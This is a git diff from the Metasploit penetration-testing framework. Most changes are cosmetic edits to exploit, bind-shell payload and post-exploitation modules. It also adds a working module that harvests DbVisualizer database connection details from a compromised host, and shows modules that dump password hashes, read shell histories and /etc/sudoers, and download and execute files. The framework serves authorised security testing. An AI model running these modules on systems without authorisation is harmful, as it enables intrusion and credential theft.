Msf::Exploit::Remote All versions prior to 3.0.3 are affected by this flaw. A valid user account ( or anonymous access) is required for this exploit to work. }, - 'Author' => [ 'Fairuzan Roslan ', 'Mati Aharoni ' ], + 'Author' => [ 'Fairuzan Roslan ', 'Mati Aharoni ' ], 'License' => BSD_LICENSE, 'References' => [ diff --git a/modules/exploits/windows/ftp/sasser_ftpd_port.rb b/modules/exploits/windows/ftp/sasser_ftpd_port.rb index 72575fe9ae..87acfe67e3 100644 --- a/modules/exploits/windows/ftp/sasser_ftpd_port.rb +++ b/modules/exploits/windows/ftp/sasser_ftpd_port.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits the FTP server component of the Sasser worm. By sending an overly long PORT command the stack can be overwritten. }, - 'Author' => [ '', '', 'patrick' ], + 'Author' => [ '', '', 'patrick' ], 'Arch' => [ ARCH_X86 ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/exploits/windows/ftp/slimftpd_list_concat.rb b/modules/exploits/windows/ftp/slimftpd_list_concat.rb index c6e8f4e25e..632de06677 100644 --- a/modules/exploits/windows/ftp/slimftpd_list_concat.rb +++ b/modules/exploits/windows/ftp/slimftpd_list_concat.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote affects all versions of SlimFTPd prior to 3.16 and was discovered by Raphael Rigo. }, - 'Author' => [ 'Fairuzan Roslan ' ], + 'Author' => [ 'Fairuzan Roslan ' ], 'License' => BSD_LICENSE, 'References' => [ diff --git a/modules/exploits/windows/ftp/warftpd_165_user.rb b/modules/exploits/windows/ftp/warftpd_165_user.rb index e92334724f..4802235636 100644 --- a/modules/exploits/windows/ftp/warftpd_165_user.rb +++ b/modules/exploits/windows/ftp/warftpd_165_user.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits a buffer overflow found in the USER command of War-FTPD 1.65. }, - 'Author' => 'Fairuzan Roslan ', + 'Author' => 'Fairuzan Roslan ', 'License' => BSD_LICENSE, 'References' => [ diff --git a/modules/exploits/windows/http/badblue_ext_overflow.rb b/modules/exploits/windows/http/badblue_ext_overflow.rb index bbf9ac4435..de19a97d25 100644 --- a/modules/exploits/windows/http/badblue_ext_overflow.rb +++ b/modules/exploits/windows/http/badblue_ext_overflow.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ This is a stack buffer overflow exploit for BadBlue version 2.5. }, - 'Author' => 'acaro ', + 'Author' => 'acaro ', 'License' => BSD_LICENSE, 'References' => [ diff --git a/modules/exploits/windows/http/mcafee_epolicy_source.rb b/modules/exploits/windows/http/mcafee_epolicy_source.rb index 29f338de3f..78bb7ccc5c 100644 --- a/modules/exploits/windows/http/mcafee_epolicy_source.rb +++ b/modules/exploits/windows/http/mcafee_epolicy_source.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'muts ', + 'muts ', 'xbxice[at]yahoo.com', 'hdm', 'patrick' # MSF3 rewrite, ePO v2.5.1 target diff --git a/modules/exploits/windows/http/sambar6_search_results.rb b/modules/exploits/windows/http/sambar6_search_results.rb index bd4cf1a1f4..f04f6110b1 100644 --- a/modules/exploits/windows/http/sambar6_search_results.rb +++ b/modules/exploits/windows/http/sambar6_search_results.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ 'hdm', - 'Andrew Griffiths ', + 'Andrew Griffiths ', 'patrick', # msf3 port ], 'Arch' => [ ARCH_X86 ], diff --git a/modules/exploits/windows/http/shttpd_post.rb b/modules/exploits/windows/http/shttpd_post.rb index 98af060d72..6e67e66cb2 100644 --- a/modules/exploits/windows/http/shttpd_post.rb +++ b/modules/exploits/windows/http/shttpd_post.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote handling of POST requests. Based on an original exploit by skOd but using a different method found by hdm. }, - 'Author' => [ 'LMH ', 'hdm', 'skOd'], + 'Author' => [ 'LMH ', 'hdm', 'skOd'], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/exploits/windows/imap/mercur_imap_select_overflow.rb b/modules/exploits/windows/imap/mercur_imap_select_overflow.rb index 86a9f65f29..94e5021aa3 100644 --- a/modules/exploits/windows/imap/mercur_imap_select_overflow.rb +++ b/modules/exploits/windows/imap/mercur_imap_select_overflow.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote user-supplied data prior to copying it to a fixed size memory buffer. Credit to Tim Taylor for discover the vulnerability. }, - 'Author' => [ 'Jacopo Cervini ' ], + 'Author' => [ 'Jacopo Cervini ' ], 'License' => BSD_LICENSE, 'References' => [ diff --git a/modules/exploits/windows/smb/ms06_025_rras.rb b/modules/exploits/windows/smb/ms06_025_rras.rb index de5c750616..39d65b37fa 100644 --- a/modules/exploits/windows/smb/ms06_025_rras.rb +++ b/modules/exploits/windows/smb/ms06_025_rras.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'. }, 'Author' => [ - 'Nicolas Pouvesle ', + 'Nicolas Pouvesle ', 'hdm' ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb index 9c83a3e43b..fdd61ece0c 100644 --- a/modules/exploits/windows/smb/ms08_067_netapi.rb +++ b/modules/exploits/windows/smb/ms08_067_netapi.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'hdm', # with tons of input/help/testing from the community 'Brett Moore ', - 'frank2 ', # check() detection + 'frank2 ', # check() detection 'jduck', # XP SP2/SP3 AlwaysOn DEP bypass ], 'License' => MSF_LICENSE, diff --git a/modules/payloads/singles/cmd/unix/bind_perl.rb b/modules/payloads/singles/cmd/unix/bind_perl.rb index 66ae6716de..ffd0535b09 100644 --- a/modules/payloads/singles/cmd/unix/bind_perl.rb +++ b/modules/payloads/singles/cmd/unix/bind_perl.rb @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Unix Command Shell, Bind TCP (via Perl)', 'Description' => 'Listen for a connection and spawn a command shell via perl', - 'Author' => ['Samy ', 'cazz'], + 'Author' => ['Samy ', 'cazz'], 'License' => BSD_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb index 290ef86af4..e8121f085a 100644 --- a/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb +++ b/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Unix Command Shell, Bind TCP (via perl) IPv6', 'Description' => 'Listen for a connection and spawn a command shell via perl', - 'Author' => ['Samy ', 'cazz'], + 'Author' => ['Samy ', 'cazz'], 'License' => BSD_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/singles/cmd/windows/bind_perl.rb b/modules/payloads/singles/cmd/windows/bind_perl.rb index 42da08864a..a307b7b9c4 100644 --- a/modules/payloads/singles/cmd/windows/bind_perl.rb +++ b/modules/payloads/singles/cmd/windows/bind_perl.rb @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Windows Command Shell, Bind TCP (via Perl)', 'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)', - 'Author' => ['Samy ', 'cazz', 'patrick'], + 'Author' => ['Samy ', 'cazz', 'patrick'], 'License' => BSD_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb index 283d965fbb..3866ee4be0 100644 --- a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb +++ b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Windows Command Shell, Bind TCP (via perl) IPv6', 'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)', - 'Author' => ['Samy ', 'cazz', 'patrick'], + 'Author' => ['Samy ', 'cazz', 'patrick'], 'License' => BSD_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/singles/linux/mipsbe/exec.rb b/modules/payloads/singles/linux/mipsbe/exec.rb index ed84d5faac..ed55d8e87e 100644 --- a/modules/payloads/singles/linux/mipsbe/exec.rb +++ b/modules/payloads/singles/linux/mipsbe/exec.rb @@ -19,7 +19,7 @@ module Metasploit3 }, 'Author' => [ - 'Michael Messner ', #metasploit payload + 'Michael Messner ', #metasploit payload 'entropy@phiral.net' #original payload ], 'References' => diff --git a/modules/payloads/singles/linux/mipsbe/reboot.rb b/modules/payloads/singles/linux/mipsbe/reboot.rb index d6e15cb03b..40a7eab46b 100644 --- a/modules/payloads/singles/linux/mipsbe/reboot.rb +++ b/modules/payloads/singles/linux/mipsbe/reboot.rb @@ -20,8 +20,8 @@ module Metasploit3 }, 'Author' => [ - 'Michael Messner ', #metasploit payload - 'rigan - ' #original payload + 'Michael Messner ', #metasploit payload + 'rigan - ' #original payload ], 'References' => [ diff --git a/modules/payloads/singles/linux/mipsle/exec.rb b/modules/payloads/singles/linux/mipsle/exec.rb index 03803e3399..c9a903edde 100644 --- a/modules/payloads/singles/linux/mipsle/exec.rb +++ b/modules/payloads/singles/linux/mipsle/exec.rb @@ -20,7 +20,7 @@ module Metasploit3 }, 'Author' => [ - 'Michael Messner ', #metasploit payload + 'Michael Messner ', #metasploit payload 'entropy@phiral.net' #original payload ], 'References' => diff --git a/modules/payloads/singles/linux/mipsle/reboot.rb b/modules/payloads/singles/linux/mipsle/reboot.rb index 5bc3f12904..eb87522179 100644 --- a/modules/payloads/singles/linux/mipsle/reboot.rb +++ b/modules/payloads/singles/linux/mipsle/reboot.rb @@ -19,8 +19,8 @@ module Metasploit3 }, 'Author' => [ - 'Michael Messner ', #metasploit payload - 'rigan - ' #original payload + 'Michael Messner ', #metasploit payload + 'rigan - ' #original payload ], 'References' => [ diff --git a/modules/payloads/singles/php/bind_perl.rb b/modules/payloads/singles/php/bind_perl.rb index b5256c16d9..90d50c26d0 100644 --- a/modules/payloads/singles/php/bind_perl.rb +++ b/modules/payloads/singles/php/bind_perl.rb @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'PHP Command Shell, Bind TCP (via Perl)', 'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)', - 'Author' => ['Samy ', 'cazz'], + 'Author' => ['Samy ', 'cazz'], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/payloads/singles/php/bind_perl_ipv6.rb b/modules/payloads/singles/php/bind_perl_ipv6.rb index f6bca827aa..5495dbe8a9 100644 --- a/modules/payloads/singles/php/bind_perl_ipv6.rb +++ b/modules/payloads/singles/php/bind_perl_ipv6.rb @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'PHP Command Shell, Bind TCP (via perl) IPv6', 'Description' => 'Listen for a connection and spawn a command shell via perl (persistent) over IPv6', - 'Author' => ['Samy ', 'cazz'], + 'Author' => ['Samy ', 'cazz'], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/payloads/singles/php/bind_php.rb b/modules/payloads/singles/php/bind_php.rb index 0887f27d5d..657c55e70b 100644 --- a/modules/payloads/singles/php/bind_php.rb +++ b/modules/payloads/singles/php/bind_php.rb @@ -19,7 +19,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'PHP Command Shell, Bind TCP (via PHP)', 'Description' => 'Listen for a connection and spawn a command shell via php', - 'Author' => ['egypt', 'diaul ',], + 'Author' => ['egypt', 'diaul ',], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/payloads/singles/php/bind_php_ipv6.rb b/modules/payloads/singles/php/bind_php_ipv6.rb index 5f268896ac..c9717b9399 100644 --- a/modules/payloads/singles/php/bind_php_ipv6.rb +++ b/modules/payloads/singles/php/bind_php_ipv6.rb @@ -19,7 +19,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'PHP Command Shell, Bind TCP (via php) IPv6', 'Description' => 'Listen for a connection and spawn a command shell via php (IPv6)', - 'Author' => ['egypt', 'diaul ',], + 'Author' => ['egypt', 'diaul ',], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/payloads/singles/php/shell_findsock.rb b/modules/payloads/singles/php/shell_findsock.rb index 0c86dc7f1a..a37bb7cbb4 100644 --- a/modules/payloads/singles/php/shell_findsock.rb +++ b/modules/payloads/singles/php/shell_findsock.rb @@ -33,7 +33,7 @@ module Metasploit3 Apache but it might work on other web servers that leak file descriptors to child processes. }, - 'Author' => [ 'egypt ' ], + 'Author' => [ 'egypt' ], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Handler' => Msf::Handler::FindShell, diff --git a/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb b/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb index a05617a8ad..af16d96ae0 100644 --- a/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb +++ b/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb @@ -18,7 +18,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Windows Disable Windows ICF, Command Shell, Bind TCP Inline', 'Description' => 'Disable the Windows ICF, then listen for a connection and spawn a command shell', - 'Author' => 'Lin0xx ', + 'Author' => 'Lin0xx ', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, diff --git a/modules/payloads/stagers/windows/reverse_hop_http.rb b/modules/payloads/stagers/windows/reverse_hop_http.rb index a6f598c890..66632ca9f8 100644 --- a/modules/payloads/stagers/windows/reverse_hop_http.rb +++ b/modules/payloads/stagers/windows/reverse_hop_http.rb @@ -15,9 +15,9 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Reverse Hop HTTP Stager', - 'Description' => "Tunnel communication over an HTTP hop point (note you must first upload "+ - "the hop.php found at #{File.expand_path("../../../../data/php/hop.php", __FILE__)} "+ - "to the HTTP server you wish to use as a hop)", + 'Description' => %q{ Tunnel communication over an HTTP hop point. Note that you must first upload + data/hop/hop.php to the PHP server you wish to use as a hop. + }, 'Author' => [ 'scriptjunkie ', diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index 9924e2b125..d2a3344bbe 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -39,7 +39,7 @@ module Metasploit3 end def library_path - File.join(Msf::Config.data_directory, "meterpreter", "metsrv.x86.dll") + MeterpreterBinaries.path('metsrv','x86.dll') end end diff --git a/modules/payloads/stages/windows/patchupmeterpreter.rb b/modules/payloads/stages/windows/patchupmeterpreter.rb index ffe0e37c5d..cf1232e3ea 100644 --- a/modules/payloads/stages/windows/patchupmeterpreter.rb +++ b/modules/payloads/stages/windows/patchupmeterpreter.rb @@ -41,7 +41,7 @@ module Metasploit3 end def library_path - File.join(Msf::Config.data_directory, "meterpreter", "metsrv.x86.dll") + MeterpreterBinaries.path('metsrv','x86.dll') end end diff --git a/modules/payloads/stages/windows/x64/meterpreter.rb b/modules/payloads/stages/windows/x64/meterpreter.rb index fa5aa63801..8065881a67 100644 --- a/modules/payloads/stages/windows/x64/meterpreter.rb +++ b/modules/payloads/stages/windows/x64/meterpreter.rb @@ -34,7 +34,7 @@ module Metasploit3 end def library_path - File.join( Msf::Config.data_directory, "meterpreter", "metsrv.x64.dll" ) + MeterpreterBinaries.path('metsrv','x64.dll') end end diff --git a/modules/post/linux/gather/enum_configs.rb b/modules/post/linux/gather/enum_configs.rb index 0b03aef6aa..79d207f473 100644 --- a/modules/post/linux/gather/enum_configs.rb +++ b/modules/post/linux/gather/enum_configs.rb @@ -23,8 +23,8 @@ class Metasploit3 < Msf::Post [ 'ohdae ', ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) end @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Post configs.each do |f| output = read_file("#{f}") - save(f, output) if output !~ /No such file or directory/ + save(f, output) if output && output !~ /No such file or directory/ end end end diff --git a/modules/post/linux/gather/enum_network.rb b/modules/post/linux/gather/enum_network.rb index 52d0ddfd74..72c0a1554c 100644 --- a/modules/post/linux/gather/enum_network.rb +++ b/modules/post/linux/gather/enum_network.rb @@ -26,8 +26,8 @@ class Metasploit3 < Msf::Post 'ohdae ', # minor additions, modifications & testing 'Stephen Haywood ', # enum_linux ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) end diff --git a/modules/post/linux/gather/enum_protections.rb b/modules/post/linux/gather/enum_protections.rb index f73d96d916..12747a3b65 100644 --- a/modules/post/linux/gather/enum_protections.rb +++ b/modules/post/linux/gather/enum_protections.rb @@ -28,8 +28,8 @@ class Metasploit3 < Msf::Post [ 'ohdae ' ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) end diff --git a/modules/post/linux/gather/enum_system.rb b/modules/post/linux/gather/enum_system.rb index 9c2b676892..f955b4bed7 100644 --- a/modules/post/linux/gather/enum_system.rb +++ b/modules/post/linux/gather/enum_system.rb @@ -29,8 +29,8 @@ class Metasploit3 < Msf::Post 'ohdae ', # Combined separate mods, modifications and testing 'Roberto Espreto ', # log files and setuid/setgid ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) end diff --git a/modules/post/linux/gather/enum_users_history.rb b/modules/post/linux/gather/enum_users_history.rb index c49f88f58d..77650221b1 100644 --- a/modules/post/linux/gather/enum_users_history.rb +++ b/modules/post/linux/gather/enum_users_history.rb @@ -26,8 +26,8 @@ class Metasploit3 < Msf::Post # based largely on get_bash_history function by Stephen Haywood 'ohdae ' ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) end @@ -49,8 +49,8 @@ class Metasploit3 < Msf::Post last = execute("/usr/bin/last && /usr/bin/lastlog") sudoers = cat_file("/etc/sudoers") - save("Last logs", last) - save("Sudoers", sudoers) unless sudoers =~ /Permission denied/ + save("Last logs", last) unless last.nil? + save("Sudoers", sudoers) unless sudoers.nil? || sudoers =~ /Permission denied/ end def save(msg, data, ctype="text/plain") @@ -96,13 +96,13 @@ class Metasploit3 < Msf::Post hist = cat_file("/home/#{u}/.bash_history") end - save("History for #{u}", hist) unless hist =~ /No such file or directory/ + save("History for #{u}", hist) unless hist.nil? || hist =~ /No such file or directory/ end else vprint_status("Extracting history for #{user}") hist = cat_file("/home/#{user}/.bash_history") vprint_status(hist) - save("History for #{user}", hist) unless hist =~ /No such file or directory/ + save("History for #{user}", hist) unless hist.nil? || hist =~ /No such file or directory/ end end @@ -118,19 +118,19 @@ class Metasploit3 < Msf::Post sql_hist = cat_file("/home/#{u}/.mysql_history") end - save("History for #{u}", sql_hist) unless sql_hist =~ /No such file or directory/ + save("History for #{u}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/ end else vprint_status("Extracting SQL history for #{user}") sql_hist = cat_file("/home/#{user}/.mysql_history") - vprint_status(sql_hist) - save("SQL History for #{user}", sql_hist) unless sql_hist =~ /No such file or directory/ + vprint_status(sql_hist) if sql_hist + save("SQL History for #{user}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/ end end def get_vim_history(users, user) if user == "root" and users != nil - users = users.chomp.split() + users = users.chomp.split users.each do |u| if u == "root" vprint_status("Extracting VIM history for #{u}") @@ -140,13 +140,13 @@ class Metasploit3 < Msf::Post vim_hist = cat_file("/home/#{u}/.viminfo") end - save("VIM History for #{u}", vim_hist) unless vim_hist =~ /No such file or directory/ + save("VIM History for #{u}", vim_hist) unless vim_hist.nil? || vim_hist =~ /No such file or directory/ end else vprint_status("Extracting history for #{user}") vim_hist = cat_file("/home/#{user}/.viminfo") vprint_status(vim_hist) - save("VIM History for #{user}", vim_hist) unless vim_hist =~ /No such file or directory/ + save("VIM History for #{user}", vim_hist) unless vim_hist.nil? || vim_hist =~ /No such file or directory/ end end end diff --git a/modules/post/linux/gather/enum_xchat.rb b/modules/post/linux/gather/enum_xchat.rb index de2b02fd34..08eb12d8ea 100644 --- a/modules/post/linux/gather/enum_xchat.rb +++ b/modules/post/linux/gather/enum_xchat.rb @@ -20,11 +20,11 @@ class Metasploit3 < Msf::Post .log files. }, 'License' => MSF_LICENSE, - 'Author' => [ 'sinn3r'], - 'Platform' => [ 'linux' ], + 'Author' => ['sinn3r'], + 'Platform' => ['linux'], # linux meterpreter is too busted to support right now, # will come back and add support once it's more usable. - 'SessionTypes' => [ 'shell' ], + 'SessionTypes' => ['shell', 'meterpreter'], 'Actions' => [ ['CONFIGS', { 'Description' => 'Collect XCHAT\'s config files' } ], @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Post end def whoami - user = cmd_exec("whoami").chomp + user = cmd_exec("/usr/bin/whoami").chomp return user end @@ -120,7 +120,7 @@ class Metasploit3 < Msf::Post files.each do |f| vprint_status("#{@peer} - Downloading: #{base + f}") buf = read_file(base + f) - next if buf.empty? + next if buf.blank? config << { :filename => f, :data => buf @@ -139,7 +139,7 @@ class Metasploit3 < Msf::Post @peer = "#{session.session_host}:#{session.session_port}" user = whoami - if user.nil? + if user.blank? print_error("#{@peer} - Unable to get username, abort.") return end @@ -149,8 +149,8 @@ class Metasploit3 < Msf::Post configs = get_configs(base) if action.name =~ /ALL|CONFIGS/i chatlogs = get_chatlogs(base) if action.name =~ /ALL|CHATS/i - save(:configs, configs) if not configs.empty? - save(:chatlogs, chatlogs) if not chatlogs.empty? + save(:configs, configs) unless configs.empty? + save(:chatlogs, chatlogs) unless chatlogs.empty? end end diff --git a/modules/post/linux/gather/hashdump.rb b/modules/post/linux/gather/hashdump.rb index fcfd77e9e0..9c483a78ce 100644 --- a/modules/post/linux/gather/hashdump.rb +++ b/modules/post/linux/gather/hashdump.rb @@ -16,11 +16,10 @@ class Metasploit3 < Msf::Post 'Name' => 'Linux Gather Dump Password Hashes for Linux Systems', 'Description' => %q{ Post Module to dump the password hashes for all users on a Linux System}, 'License' => MSF_LICENSE, - 'Author' => [ 'Carlos Perez '], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Author' => ['Carlos Perez '], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) - end # Run Method for when run command is issued @@ -56,11 +55,9 @@ class Metasploit3 < Msf::Post # Save pwd file upassf = store_loot("linux.hashes", "text/plain", session, john_file, "unshadowed_passwd.pwd", "Linux Unshadowed Password File") print_good("Unshadowed Password File: #{upassf}") - else print_error("You must run this module as root!") end - end def unshadow(pf,sf) @@ -76,6 +73,8 @@ class Metasploit3 < Msf::Post end end end - return unshadowed + + unshadowed end + end diff --git a/modules/post/linux/gather/mount_cifs_creds.rb b/modules/post/linux/gather/mount_cifs_creds.rb index d66edf1697..74dee8f557 100644 --- a/modules/post/linux/gather/mount_cifs_creds.rb +++ b/modules/post/linux/gather/mount_cifs_creds.rb @@ -11,16 +11,16 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Linux Gather Saved mount.cifs/mount.smbfs Credentials', - 'Description' => %q{ - Post Module to obtain credentials saved for mount.cifs/mount.smbfs in - /etc/fstab on a Linux system. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'Jon Hart '], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] - )) + 'Name' => 'Linux Gather Saved mount.cifs/mount.smbfs Credentials', + 'Description' => %q{ + Post Module to obtain credentials saved for mount.cifs/mount.smbfs in + /etc/fstab on a Linux system. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Jon Hart '], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] + )) end def run diff --git a/modules/post/linux/manage/download_exec.rb b/modules/post/linux/manage/download_exec.rb index ec4d50729b..a639461250 100644 --- a/modules/post/linux/manage/download_exec.rb +++ b/modules/post/linux/manage/download_exec.rb @@ -15,24 +15,23 @@ class Metasploit3 < Msf::Post super( update_info( info, 'Name' => 'Linux Manage Download and Execute', 'Description' => %q{ - This module downloads and runs a file with bash. It first tries to uses curl as - its HTTP client and then wget if it's not found. Bash found in the PATH is used to - execute the file. + This module downloads and runs a file with bash. It first tries to uses curl as + its HTTP client and then wget if it's not found. Bash found in the PATH is used + to execute the file. }, 'License' => MSF_LICENSE, 'Author' => [ 'Joshua D. Abraham ', ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) register_options( [ OptString.new('URL', [true, 'Full URL of file to download.']) ], self.class) - end def cmd_exec_vprint(cmd) diff --git a/modules/post/multi/gather/dbvis_enum.rb b/modules/post/multi/gather/dbvis_enum.rb new file mode 100644 index 0000000000..f7a433e4a5 --- /dev/null +++ b/modules/post/multi/gather/dbvis_enum.rb @@ -0,0 +1,290 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + include Msf::Post::Unix + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Multi Gather Dbvis Connections Settings', + 'Description' => %q{ + DbVisualizer stores the user database configuration in dbvis.xml. + This module retrieves the connections settings from this file. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'David Bloom' ], # Twitter: @philophobia78 + 'Platform' => %w{ linux win }, + 'SessionTypes' => [ 'meterpreter', 'shell'] + )) + end + + def run + + + oldversion = false + + case session.platform + when /linux/ + user = session.shell_command("whoami").chomp + print_status("Current user is #{user}") + if (user =~ /root/) + user_base = "/root/" + else + user_base = "/home/#{user}/" + end + dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml" + when /win/ + if session.type =~ /meterpreter/ + user_profile = session.sys.config.getenv('USERPROFILE') + else + user_profile = cmd_exec("echo %USERPROFILE%").strip + end + dbvis_file = user_profile + "\\.dbvis\\config70\\dbvis.xml" + end + + + unless file?(dbvis_file) + # File not found, we next try with the old config path + print_status("File not found: #{dbvis_file}") + print_status("This could be an older version of dbvis, trying old path") + case session.platform + when /linux/ + dbvis_file = "#{user_base}.dbvis/config/dbvis.xml" + when /win/ + dbvis_file = user_profile + "\\.dbvis\\config\\dbvis.xml" + end + unless file?(dbvis_file) + print_error("File not found: #{dbvis_file}") + return + end + oldversion = true + end + + + print_status("Reading: #{dbvis_file}") + print_line() + raw_xml = "" + begin + raw_xml = read_file(dbvis_file) + rescue EOFError + # If there's nothing in the file, we hit EOFError + print_error("Nothing read from file: #{dbvis_file}, file may be empty") + return + end + + if oldversion + # Parse old config file + db_table = pareseOldConfigFile(raw_xml) + else + # Parse new config file + db_table = pareseNewConfigFile(raw_xml) + end + + if db_table.rows.empty? + print_status("No database settings found") + else + print_line("\n") + print_line(db_table.to_s) + print_good("Try to query listed databases with dbviscmd.sh (or .bat) -connection -sql and have fun !") + print_line() + # store found databases + p = store_loot( + "dbvis.databases", + "text/csv", + session, + db_table.to_csv, + "dbvis_databases.txt", + "dbvis databases") + print_good("Databases settings stored in: #{p.to_s}") + end + + print_status("Downloading #{dbvis_file}") + p = store_loot("dbvis.xml", "text/xml", session, read_file(dbvis_file), "#{dbvis_file}", "dbvis config") + print_good "dbvis.xml saved to #{p.to_s}" + end + + + # New config file parse function + def pareseNewConfigFile(raw_xml) + + db_table = Rex::Ui::Text::Table.new( + 'Header' => "Dbvis Databases", + 'Indent' => 2, + 'Columns' => + [ + "Alias", + "Type", + "Server", + "Port", + "Database", + "Namespace", + "Userid", + ]) + + dbs = [] + db = {} + dbfound = false + versionFound = false + # fetch config file + raw_xml.each_line do |line| + + if versionFound == false + vesrionFound = findVersion(line) + end + + if line =~ // + dbfound = false + if db[:Database].nil? + db[:Database] = ""; + end + if db[:Namespace].nil? + db[:Namespace] = ""; + end + # save + dbs << db if (db[:Alias] and db[:Type] and db[:Server] and db[:Port] ) + db = {} + end + + if dbfound == true + # get the alias + if (line =~ /([\S+\s+]+)<\/Alias>/i) + db[:Alias] = $1 + end + + # get the type + if (line =~ /([\S+\s+]+)<\/Type>/i) + db[:Type] = $1 + end + + # get the user + if (line =~ /([\S+\s+]+)<\/Userid>/i) + db[:Userid] = $1 + end + + # get the server + if (line =~ /([\S+\s+]+)<\/UrlVariable>/i) + db[:Server] = $1 + end + + # get the port + if (line =~ /([\S+]+)<\/UrlVariable>/i) + db[:Port] = $1 + end + + # get the database + if (line =~ /([\S+\s+]+)<\/UrlVariable>/i) + db[:Database] = $1 + end + + # get the Namespace + if (line =~ /([\S+\s+]+)<\/UrlVariable>/i) + db[:Namespace] = $1 + end + end + end + + # Fill the tab and report eligible servers + dbs.each do |db| + if ::Rex::Socket.is_ipv4?(db[:Server].to_s) + print_good("Reporting #{db[:Server]} ") + report_host(:host => db[:Server]); + end + + db_table << [ db[:Alias] , 